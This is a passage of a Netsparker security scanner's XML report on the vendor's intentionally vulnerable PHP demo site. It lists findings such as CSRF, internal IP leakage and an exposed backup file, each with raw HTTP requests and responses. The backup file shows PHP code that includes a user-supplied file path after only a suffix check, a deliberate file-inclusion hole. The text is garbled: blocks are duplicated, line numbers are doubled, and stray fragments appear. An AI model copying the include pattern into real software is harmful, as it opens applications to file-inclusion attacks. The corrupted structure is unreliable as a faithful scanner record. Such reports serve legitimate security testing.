5589 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
5590 <title>Netsparker Test Web Site - PHP</title>
5591 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
5592 </head><body>
5593 <div id="wrapper">
5594
5595 <div id="menu">
5596 <ul>
5597 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
5598 <li><a href="hello.php?name=Visitor">Hello</a></li>
5599 <li><a href="products.php?pro=url">Products</a></li>
5600 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
5601 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
5602 <li><a href="auth/">Login</a></li>
5603 </ul>
5604 </div>
5605 <!-- end #menu -->
5606 <div id="header">
5607
5608 </div>
5609 <!-- end #header -->
5610 <div id="page">
5611 <div id="page-bgtop">
5612 <div id="page-bgbtm">
5613 <div id="content">
5614 <div class="post">
5615
5616 <div class="entry">
5617 <h1 class="title"><a href="/process.php?file=Generics/about.nsp">About </a></h1>
5618 <p>This is a test and demonstration site for Netsparker , Next Generation Web
5619 Application Security Scanner.
5620 <p>
5621 This testing web site contains a lot of vulnerabilities on different vulnerability classes.
5622 <p>Start Netsparker to scan this web site and let it find the vulnerabilities. </p>
5623 </p>
5624
5625 </div>
5626 </div>
5627 <div style="clear: both;">&nbsp;</div>
5628 </div>
5629 <!-- end #content -->
5630
5631 <div id="sidebar">
5632 <ul>
5633 <li>
5634 <div id="search" >
5635 <form method="get" action="artist.php">
5636 <div>
5637 <input type="text" name="s" id="search-text" value="" />
5638 <input type="submit" id="search-submit" value="GO" />
5639 </div>
5640 </form>
5641
5642 </div>
5643 <div style="clear: both;">&nbsp;</div>
5644 </li>
5645 <li>
5646 <h2>Tags</h2>
5647 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
5648 </li>
5649 <li>
5650 <h2>Inner Pages</h2>
5651 <ul>
5652 <li><a href="artist.php?id=test">Artist Search</a></li>
5653 <li><a href="nslookup.php">Lookup Service</a></li>
5654 </ul>
5655 </li>
5656 <li>
5657 <h2>Links</h2>
5658 <ul>
5659 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
5660 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
5661 </ul>
5662 </li>
5663 </ul>
5664 </div> <!-- end #sidebar -->
5665 <div style="clear: both;">&nbsp;</div>
5666 </div>
5667 </div>
5668 </div>
5669
5496 asd <!-- process.php load pages from path of the website. -->
5497 <!-- FIXME: File / directory permissions -->
5498 <!-- end #page -->
5499 </div>
5500
5501 <div id="footer">
5502 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
5503 </div> <!-- end #footer -->
5504 </body>
5505 </html>
5506 ]]></rawresponse>
5507 <extrainformation>
5508 <info name="Identified Error Message"><![CDATA[<b>Warning</b>: mysql_connect() [<a href='function.mysql-connect'>function.mysql-connect</a>]: Access denied for user 'root'@'localhost' (using password: YES) in <b>C:\AppServ\www\Generics\about.nsp</b> on line <b>31</b>]]></info>
5509 </extrainformation>
5510
5511 <classification>
5512 <OWASP>A6</OWASP>
5513 <WASC>13</WASC>
5514 <CWE>210</CWE>
5515 <CAPEC>118</CAPEC>
5516 <PCI>6.5.6</PCI>
5517 <PCI2>6.5.5</PCI2>
5518 </classification>
5519
5520 </vulnerability>
5521 <vulnerability confirmed="True">
5522 <url>http://php.testsparker.com/.svn/</url>
5523 <type>OptionsMethodEnabled</type>
5524 <severity>Low</severity>
5525 <certainty>100</certainty>
5526
5527 <rawrequest><![CDATA[OPTIONS /.svn/ HTTP/1.1
5528 Cache-Control: no-cache
5529 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5530 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5531 X-Scanner: Netsparker
5532 Accept-Language: en-us,en;q=0.5
5533 Host: php.testsparker.com
5534 Accept-Encoding: gzip, deflate
5535
5536 ]]></rawrequest>
5537 <rawresponse><![CDATA[HTTP/1.1 200 OK
5538 Date: Fri, 29 Nov 2013 11:25:53 GMT
5539 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5540 Allow: GET,HEAD,POST,OPTIONS,TRACE
5541 Content-Length: 0
5542 Content-Type: httpd/unix-directory
5543
5544 ]]></rawresponse>
5545 <extrainformation>
5546 <info name="Allowed methods"><![CDATA[GET,HEAD,POST,OPTIONS,TRACE]]></info>
5547 </extrainformation>
5548
5549 <classification>
5550 <OWASP>A6</OWASP>
5551 <WASC>14</WASC>
5552 <CWE>16</CWE>
5553 <CAPEC>107</CAPEC>
5554 <PCI></PCI>
5555 <PCI2></PCI2>
5556 </classification>
5557
5558 </vulnerability>
5559 <vulnerability confirmed="False">
5560 <url>http://php.testsparker.com/process.php?file=Generics/about.nsp</url>
5561 <type>CsrfDetected</type>
5562 <severity>Low</severity>
5563 <certainty>90</certainty>
5564
5565 <rawrequest><![CDATA[GET /process.php?file=Generics/about.nsp HTTP/1.1
5566 Cache-Control: no-cache
5567 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
5568 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5569 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5570 X-Scanner: Netsparker
5571 Accept-Language: en-us,en;q=0.5
5572 Host: php.testsparker.com
5573 Accept-Encoding: gzip, deflate
5574
5575 ]]></rawrequest>
5576 <rawresponse><![CDATA[HTTP/1.1 200 OK
5577 Date: Fri, 29 Nov 2013 11:25:51 GMT
5578 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5579 X-Powered-By: PHP/5.2.6
5580 Content-Length: 3327
5581 Content-Type: text/html
5582
5583
5584 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
5585 <html xmlns="http://www.w3.org/1999/xhtml">
5586 <head>
5587 <meta name="keywords" content="" />
5588 <meta name="description" content="" />
5589 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
5590 <title>Netsparker Test Web Site - PHP</title>
5591 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
5592 </head><body>
5593 <div id="wrapper">
5594
5595 <div id="menu">
5596 <ul>
5597 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
5598 <li><a href="hello.php?name=Visitor">Hello</a></li>
5599 <li><a href="products.php?pro=url">Products</a></li>
5600 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
5601 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
5602 <li><a href="auth/">Login</a></li>
5603 </ul>
5604 </div>
5605 <!-- end #menu -->
5606 <div id="header">
5607
5608 </div>
5609 <!-- end #header -->
5610 <div id="page">
5611 <div id="page-bgtop">
5612 <div id="page-bgbtm">
5613 <div id="content">
5614 <div class="post">
5615
5616 <div class="entry">
5617 <h1 class="title"><a href="/process.php?file=Generics/about.nsp">About </a></h1>
5618 <p>This is a test and demonstration site for Netsparker , Next Generation Web
5619 Application Security Scanner.
5620 <p>
5621 This testing web site contains a lot of vulnerabilities on different vulnerability classes.
5622 <p>Start Netsparker to scan this web site and let it find the vulnerabilities. </p>
5623 </p>
5624
5625 </div>
5626 </div>
5627 <div style="clear: both;">&nbsp;</div>
5628 </div>
5629 <!-- end #content -->
5630
5631 <div id="sidebar">
5632 <ul>
5633 <li>
5634 <div id="search" >
5635 <form method="get" action="artist.php">
5636 <div>
5637 <input type="text" name="s" id="search-text" value="" />
5638 <input type="submit" id="search-submit" value="GO" />
5639 </div>
5640 </form>
5641
5642 </div>
5643 <div style="clear: both;">&nbsp;</div>
5644 </li>
5645 <li>
5646 <h2>Tags</h2>
5647 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
5648 </li>
5649 <li>
5650 <h2>Inner Pages</h2>
5651 <ul>
5652 <li><a href="artist.php?id=test">Artist Search</a></li>
5653 <li><a href="nslookup.php">Lookup Service</a></li>
5654 </ul>
5655 </li>
5656 <li>
5657 <h2>Links</h2>
5658 <ul>
5659 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
5660 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
5661 </ul>
5662 </li>
5663 </ul>
5664 </div> <!-- end #sidebar -->
5665 <div style="clear: both;">&nbsp;</div>
5666 </div>
5667 </div>
5668 </div>
5669
56705670 <br />
56715671 <b>Warning</b>: mysql_connect() [<a href='function.mysql-connect'>function.mysql-connect</a>]: Access denied for user 'root'@'localhost' (using password: YES) in <b>C:\AppServ\www\Generics\about.nsp</b> on line <b>31</b><br />
5672 asd <!-- process.php load pages from path of the website. -->
5673 <!-- FIXME: File / directory permissions -->
5674 <!-- end #page -->
5675 </div>
5676
5677 <div id="footer">
5678 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
5679 </div> <!-- end #footer -->
5680 </body>
5681 </html>
5682 ]]></rawresponse>
5683 <extrainformation>
5684 </extrainformation>
5685
5686 <classification>
5687 <OWASP>A5</OWASP>
5688 <WASC>09</WASC>
5689 <CWE>352</CWE>
5690 <CAPEC>62</CAPEC>
5691 <PCI>6.5.5</PCI>
5692 <PCI2>6.5.9</PCI2>
5693 </classification>
5694
5695 </vulnerability>
5696 <vulnerability confirmed="True">
5697 <url>http://php.testsparker.com/process.php?file=Generics/contact.nsp</url>
5698 <type>InsecureFrameExternal</type>
5699 <severity>Low</severity>
5700 <certainty>100</certainty>
5701
5702 <rawrequest><![CDATA[GET /process.php?file=Generics/contact.nsp HTTP/1.1
5703 Cache-Control: no-cache
5704 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
5705 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5706 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5707 X-Scanner: Netsparker
5708 Accept-Language: en-us,en;q=0.5
5709 Host: php.testsparker.com
5710 Accept-Encoding: gzip, deflate
5711
5712 ]]></rawrequest>
5713 <rawresponse><![CDATA[HTTP/1.1 200 OK
5714 Date: Fri, 29 Nov 2013 11:25:52 GMT
5715 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5716 X-Powered-By: PHP/5.2.6
5717 Content-Length: 3363
5718 Content-Type: text/html
5719
5720
5721 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
5722 <html xmlns="http://www.w3.org/1999/xhtml">
5723 <head>
5724 <meta name="keywords" content="" />
5725 <meta name="description" content="" />
5726 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
5727 <title>Netsparker Test Web Site - PHP</title>
5728 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
5729 </head><body>
5730 <div id="wrapper">
5731
5732 <div id="menu">
5733 <ul>
5734 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
5735 <li><a href="hello.php?name=Visitor">Hello</a></li>
5736 <li><a href="products.php?pro=url">Products</a></li>
5737 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
5738 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
5739 <li><a href="auth/">Login</a></li>
5740 </ul>
5741 </div>
5742 <!-- end #menu -->
5743 <div id="header">
5744
5745 </div>
5746 <!-- end #header -->
5747 <div id="page">
5748 <div id="page-bgtop">
5749 <div id="page-bgbtm">
5750 <div id="content">
5751 <div class="post">
5752
5753
5754
5755 <div class="entry">
5756 <h1 class="title"><a href="/process.php?file=Generics/contact.nsp">Contact </a></h1>
5757 <p>
5758
5759 <iframe width="540" height="350" frameborder="0" scrolling="no" marginheight="0"
5760 style="float: left" marginwidth="0" src="http://maps.google.com/maps?q=mavituna+security&output=embed">
5761 </iframe>
5762
5763
5764
5765
5766 <strong><br />Test&Demonstration Site Ltd
5767 <br />(reg. no. 123456)</strong><br />
5768 <p>
5769 Green House,
5770 3478 Stone QX
5771 Dos Tringulas
5772 EK7 AP0<br />
5773 USA<br />
5774 </p>
5775
5776 <p>
5777 <span>Tel: +44 123 456 7890</span><br />
5778 <span>Fax: +44 123 456 7891</span></p>
5779 <p>
5780
5781 <p>
5782 E-mail: [email protected]</b></a></p>
5783 </p>
5784
5785 </div>
5786 </div>
5787 <div style="clear: both;">&nbsp;</div>
5788 </div>
5789 <!-- end #content -->
5790
5791 <div id="sidebar">
5792 <ul>
5793 <li>
5794 <div id="search" >
5795 <form method="get" action="artist.php">
5796 <div>
5797 <input type="text" name="s" id="search-text" value="" />
5798 <input type="submit" id="search-submit" value="GO" />
5799 </div>
5800 </form>
5801
5802 </div>
5803 <div style="clear: both;">&nbsp;</div>
5804 </li>
5805 <li>
5806 <h2>Tags</h2>
5807 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
5808 </li>
5809 <li>
5810 <h2>Inner Pages</h2>
5811 <ul>
5812 <li><a href="artist.php?id=test">Artist Search</a></li>
5813 <li><a href="nslookup.php">Lookup Service</a></li>
5814 </ul>
5815 </li>
5816 <li>
5817 <h2>Links</h2>
5818 <ul>
5819 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
5820 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
5821 </ul>
5822 </li>
5823 </ul>
5824 </div> <!-- end #sidebar -->
5825 <div style="clear: both;">&nbsp;</div>
5826 </div>
5827 </div>
5828 </div> <!-- process.php load pages from path of the website. -->
5829 <!-- FIXME: File / directory permissions -->
5830 <!-- end #page -->
5831 </div>
5832
5833 <div id="footer">
5834 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
5835 </div> <!-- end #footer -->
5836 </body>
5837 </html>
5838 ]]></rawresponse>
5839 <extrainformation>
5840 <info name="Frame Source(s)"><![CDATA[http://maps.google.com/maps?q=mavituna+security&output=embed]]></info>
5841 </extrainformation>
5842
5843
5844 </vulnerability>
5845 <vulnerability confirmed="False">
5846 <url>http://php.testsparker.com/nslookup.php</url>
5847 <type>InternalIPLeakage</type>
5848 <severity>Low</severity>
5849 <certainty>50</certainty>
5850
5851 <rawrequest><![CDATA[GET /nslookup.php HTTP/1.1
5852 Cache-Control: no-cache
5853 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
5854 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5855 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5856 X-Scanner: Netsparker
5857 Accept-Language: en-us,en;q=0.5
5858 Host: php.testsparker.com
5859 Accept-Encoding: gzip, deflate
5860
5861 ]]></rawrequest>
5862 <rawresponse><![CDATA[HTTP/1.1 200 OK
5863 Date: Fri, 29 Nov 2013 11:26:04 GMT
5864 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5865 X-Powered-By: PHP/5.2.6
5866 Content-Length: 3845
5867 Content-Type: text/html
5868
5869
5870 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
5871 <html xmlns="http://www.w3.org/1999/xhtml">
5872 <head>
5873 <meta name="keywords" content="" />
5874 <meta name="description" content="" />
5875 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
5876 <title>Netsparker Test Web Site - PHP</title>
5877 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
5672 asd <!-- process.php load pages from path of the website. -->
5673 <!-- FIXME: File / directory permissions -->
5674 <!-- end #page -->
5675 </div>
5676
5677 <div id="footer">
5678 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
5679 </div> <!-- end #footer -->
5680 </body>
5681 </html>
5682 ]]></rawresponse>
5683 <extrainformation>
5684 </extrainformation>
5685
5686 <classification>
5687 <OWASP>A5</OWASP>
5688 <WASC>09</WASC>
5689 <CWE>352</CWE>
5690 <CAPEC>62</CAPEC>
5691 <PCI>6.5.5</PCI>
5692 <PCI2>6.5.9</PCI2>
5693 </classification>
5694
5695 </vulnerability>
5696 <vulnerability confirmed="True">
5697 <url>http://php.testsparker.com/process.php?file=Generics/contact.nsp</url>
5698 <type>InsecureFrameExternal</type>
5699 <severity>Low</severity>
5700 <certainty>100</certainty>
5701
5702 <rawrequest><![CDATA[GET /process.php?file=Generics/contact.nsp HTTP/1.1
5703 Cache-Control: no-cache
5704 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
5705 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5706 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5707 X-Scanner: Netsparker
5708 Accept-Language: en-us,en;q=0.5
5709 Host: php.testsparker.com
5710 Accept-Encoding: gzip, deflate
5711
5712 ]]></rawrequest>
5713 <rawresponse><![CDATA[HTTP/1.1 200 OK
5714 Date: Fri, 29 Nov 2013 11:25:52 GMT
5715 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5716 X-Powered-By: PHP/5.2.6
5717 Content-Length: 3363
5718 Content-Type: text/html
5719
5720
5721 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
5722 <html xmlns="http://www.w3.org/1999/xhtml">
5723 <head>
5724 <meta name="keywords" content="" />
5725 <meta name="description" content="" />
5726 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
5727 <title>Netsparker Test Web Site - PHP</title>
5728 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
5729 </head><body>
5730 <div id="wrapper">
5731
5732 <div id="menu">
5733 <ul>
5734 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
5735 <li><a href="hello.php?name=Visitor">Hello</a></li>
5736 <li><a href="products.php?pro=url">Products</a></li>
5737 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
5738 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
5739 <li><a href="auth/">Login</a></li>
5740 </ul>
5741 </div>
5742 <!-- end #menu -->
5743 <div id="header">
5744
5745 </div>
5746 <!-- end #header -->
5747 <div id="page">
5748 <div id="page-bgtop">
5749 <div id="page-bgbtm">
5750 <div id="content">
5751 <div class="post">
5752
5753
5754
5755 <div class="entry">
5756 <h1 class="title"><a href="/process.php?file=Generics/contact.nsp">Contact </a></h1>
5757 <p>
5758
5759 <iframe width="540" height="350" frameborder="0" scrolling="no" marginheight="0"
5760 style="float: left" marginwidth="0" src="http://maps.google.com/maps?q=mavituna+security&output=embed">
5761 </iframe>
5762
5763
5764
5765
5766 <strong><br />Test&Demonstration Site Ltd
5767 <br />(reg. no. 123456)</strong><br />
5768 <p>
5769 Green House,
5770 3478 Stone QX
5771 Dos Tringulas
5772 EK7 AP0<br />
5773 USA<br />
5774 </p>
5775
5776 <p>
5777 <span>Tel: +44 123 456 7890</span><br />
5778 <span>Fax: +44 123 456 7891</span></p>
5779 <p>
5780
5781 <p>
5782 E-mail: [email protected]</b></a></p>
5783 </p>
5784
5785 </div>
5786 </div>
5787 <div style="clear: both;">&nbsp;</div>
5788 </div>
5789 <!-- end #content -->
5790
5791 <div id="sidebar">
5792 <ul>
5793 <li>
5794 <div id="search" >
5795 <form method="get" action="artist.php">
5796 <div>
5797 <input type="text" name="s" id="search-text" value="" />
5798 <input type="submit" id="search-submit" value="GO" />
5799 </div>
5800 </form>
5801
5802 </div>
5803 <div style="clear: both;">&nbsp;</div>
5804 </li>
5805 <li>
5806 <h2>Tags</h2>
5807 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
5808 </li>
5809 <li>
5810 <h2>Inner Pages</h2>
5811 <ul>
5812 <li><a href="artist.php?id=test">Artist Search</a></li>
5813 <li><a href="nslookup.php">Lookup Service</a></li>
5814 </ul>
5815 </li>
5816 <li>
5817 <h2>Links</h2>
5818 <ul>
5819 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
5820 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
5821 </ul>
5822 </li>
5823 </ul>
5824 </div> <!-- end #sidebar -->
5825 <div style="clear: both;">&nbsp;</div>
5826 </div>
5827 </div>
5828 </div> <!-- process.php load pages from path of the website. -->
5829 <!-- FIXME: File / directory permissions -->
5830 <!-- end #page -->
5831 </div>
5832
5833 <div id="footer">
5834 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
5835 </div> <!-- end #footer -->
5836 </body>
5837 </html>
5838 ]]></rawresponse>
5839 <extrainformation>
5840 <info name="Frame Source(s)"><![CDATA[http://maps.google.com/maps?q=mavituna+security&output=embed]]></info>
5841 </extrainformation>
5842
5843
5844 </vulnerability>
5845 <vulnerability confirmed="False">
5846 <url>http://php.testsparker.com/nslookup.php</url>
5847 <type>InternalIPLeakage</type>
5848 <severity>Low</severity>
5849 <certainty>50</certainty>
5850
5851 <rawrequest><![CDATA[GET /nslookup.php HTTP/1.1
5852 Cache-Control: no-cache
5853 Referer: http://php.testsparker.com/process.php?file=Generics/index.nsp
5854 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
5855 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
5856 X-Scanner: Netsparker
5857 Accept-Language: en-us,en;q=0.5
5858 Host: php.testsparker.com
5859 Accept-Encoding: gzip, deflate
5860
5861 ]]></rawrequest>
5862 <rawresponse><![CDATA[HTTP/1.1 200 OK
5863 Date: Fri, 29 Nov 2013 11:26:04 GMT
5864 Server: Apache/2.2.8 (Win32) PHP/5.2.6
5865 X-Powered-By: PHP/5.2.6
5866 Content-Length: 3845
5867 Content-Type: text/html
5868
5869
5870 <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
5871 <html xmlns="http://www.w3.org/1999/xhtml">
5872 <head>
5873 <meta name="keywords" content="" />
5874 <meta name="description" content="" />
5875 <meta http-equiv="content-type" content="text/html; charset=utf-8" />
5876 <title>Netsparker Test Web Site - PHP</title>
5877 <link href="style.css" rel="stylesheet" type="text/css" media="screen" />
58785878 </head><script type=text/javascript src = "" ></script>
58795879 <body>
58805880 <div id="wrapper">
5881
5882 <div id="menu">
5883 <ul>
5884 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
5885 <li><a href="hello.php?name=Visitor">Hello</a></li>
5886 <li><a href="products.php?pro=url">Products</a></li>
5887 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
5888 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
5889 <li><a href="auth/">Login</a></li>
5890 </ul>
5891 </div>
5892 <!-- end #menu -->
5893 <div id="header">
5894
5895 </div>
5881
5882 <div id="menu">
5883 <ul>
5884 <li><a href="process.php?file=Generics/index.nsp">Home</a></li>
5885 <li><a href="hello.php?name=Visitor">Hello</a></li>
5886 <li><a href="products.php?pro=url">Products</a></li>
5887 <li><a href="process.php?file=Generics/about.nsp">About</a></li>
5888 <li><a href="process.php?file=Generics/contact.nsp">Contact</a></li>
5889 <li><a href="auth/">Login</a></li>
5890 </ul>
5891 </div>
5892 <!-- end #menu -->
5893 <div id="header">
5894
5895 </div>
58965896 <!-- end #header --> <div id="page">
58975897 <div id="page-bgtop">
58985898 <div id="page-bgbtm">
59425942 <div style="clear: both;">&nbsp;</div>
59435943 </div>
59445944 <!-- end #content -->
5945
5946 <div id="sidebar">
5947 <ul>
5948 <li>
5949 <div id="search" >
5950 <form method="get" action="artist.php">
5951 <div>
5952 <input type="text" name="s" id="search-text" value="" />
5953 <input type="submit" id="search-submit" value="GO" />
5954 </div>
5955 </form>
5956
5957 </div>
5958 <div style="clear: both;">&nbsp;</div>
5959 </li>
5960 <li>
5961 <h2>Tags</h2>
5962 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
5963 </li>
5964 <li>
5965 <h2>Inner Pages</h2>
5966 <ul>
5967 <li><a href="artist.php?id=test">Artist Search</a></li>
5968 <li><a href="nslookup.php">Lookup Service</a></li>
5969 </ul>
5970 </li>
5971 <li>
5972 <h2>Links</h2>
5973 <ul>
5974 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
5975 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
5976 </ul>
5977 </li>
5978 </ul>
5945
5946 <div id="sidebar">
5947 <ul>
5948 <li>
5949 <div id="search" >
5950 <form method="get" action="artist.php">
5951 <div>
5952 <input type="text" name="s" id="search-text" value="" />
5953 <input type="submit" id="search-submit" value="GO" />
5954 </div>
5955 </form>
5956
5957 </div>
5958 <div style="clear: both;">&nbsp;</div>
5959 </li>
5960 <li>
5961 <h2>Tags</h2>
5962 <p>netsparker xss web-application-security false-positive-free automated-exploitation sql-injection local/remote-file-inclusion</p>
5963 </li>
5964 <li>
5965 <h2>Inner Pages</h2>
5966 <ul>
5967 <li><a href="artist.php?id=test">Artist Search</a></li>
5968 <li><a href="nslookup.php">Lookup Service</a></li>
5969 </ul>
5970 </li>
5971 <li>
5972 <h2>Links</h2>
5973 <ul>
5974 <li><a href="http://www.mavitunasecurity.com/netsparker/">Netsparker</a></li>
5975 <li><a href="http://www.mavitunasecurity.com/">Mavituna Security</a></li>
5976 </ul>
5977 </li>
5978 </ul>
59795979 </div> <!-- end #sidebar -->
59805980 <div style="clear: both;">&nbsp;</div>
59815981 </div>
59845984 <!-- end #page -->
59855985 </div>
59865986
5987 <div id="footer">
5988 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
5987 <div id="footer">
5988 <p>Copyright (c) 2010 mavitunasecurity.com. All rights reserved. Design by <a href="http://www.freecsstemplates.org/">Free CSS Templates</a>.</p>
59895989 </div> <!-- end #footer -->
59905990 </body>
59915991 </html>
5992 ]]></rawresponse>
5993 <extrainformation>
5994 <info name="Extracted IP Address(es)"><![CDATA[172.16.0.23]]></info>
5995 </extrainformation>
5996
5997 <classification>
5998 <OWASP></OWASP>
5999 <WASC></WASC>
6000 <CWE>200</CWE>
6001 <CAPEC></CAPEC>
6002 <PCI>6.5.6</PCI>
6003 <PCI2></PCI2>
6004 </classification>
6005
6006 </vulnerability>
6007 <vulnerability confirmed="False">
6008 <url>http://php.testsparker.com/process.bak</url>
6009 <type>BackupFileFound</type>
6010 <severity>Low</severity>
6011 <certainty>75</certainty>
6012
6013 <rawrequest><![CDATA[GET /process.bak HTTP/1.1
6014 Cache-Control: no-cache
6015 Referer: http://php.testsparker.com/process.bak
6016 Accept: text/xml,application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
6017 User-Agent: Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; Netsparker)
6018 X-Scanner: Netsparker
6019 Accept-Language: en-us,en;q=0.5
6020 Host: php.testsparker.com
6021 Cookie: PHPSESSID=0c51b01d69e15cb0000e8ba003f81056
6022 Accept-Encoding: gzip, deflate
6023
6024 ]]></rawrequest>
6025 <rawresponse><![CDATA[HTTP/1.1 200 OK
6026 Date: Fri, 29 Nov 2013 11:26:28 GMT
6027 Server: Apache/2.2.8 (Win32) PHP/5.2.6
6028 ETag: "30000000199eb-363-481496ef4391c"
6029 Accept-Ranges: bytes
6030 Content-Length: 867
6031 Content-Type: text/plain
6032 Last-Modified: Mon, 08 Mar 2010 12:45:00 GMT
6033
6034 <?php
6035 require("auth.php");
6036 ini_set("display_errors","0");
6037
6038 //global configuration area
6039 $globals["title"] = "Netsparker Test Web Site - PHP";
6040 function EndsWith($FullStr, $EndStr)
6041 {
6042 // Get the length of the end string
6043 $StrLen = strlen($EndStr);
6044 // Look at the end of FullStr for the substring the size of EndStr
6045 $FullStrEnd = substr($FullStr, strlen($FullStr) - $StrLen);
6046 // If it matches, it does end with EndStr
6047 return $FullStrEnd == $EndStr;
6048 }
6049 ?>
6050
6051 <?php include "Internals/header.php"?>
6052 <body>
6053 <div id="wrapper">
6054 <?php include "Internals/upmenu.php"?>
6055 <?php
6056 $file = $_REQUEST["file"];
6057 if(EndsWith($file,".nsp"))
6058 include $_REQUEST["file"];
6059 ?>
6060 <!-- end #page -->
6061 </div>
6062
6063 <?php include "Internals/footer.php"?>
6064 <!-- end #footer -->
6065 </body>
6066 </html>
6067 ]]></rawresponse>
6068 <extrainformation>
6069 </extrainformation>
6070
6071 <classification>
6072 <OWASP>A8</OWASP>
6073 <WASC>34</WASC>
6074 <CWE>530</CWE>
6075 <CAPEC>87</CAPEC>
6076 <PCI>6.5.10</PCI>
6077 <PCI2>6.5.8</PCI2>
6078 </classification>
6079
6080 </vulnerability>
6081 <vulnerability confirmed="True">
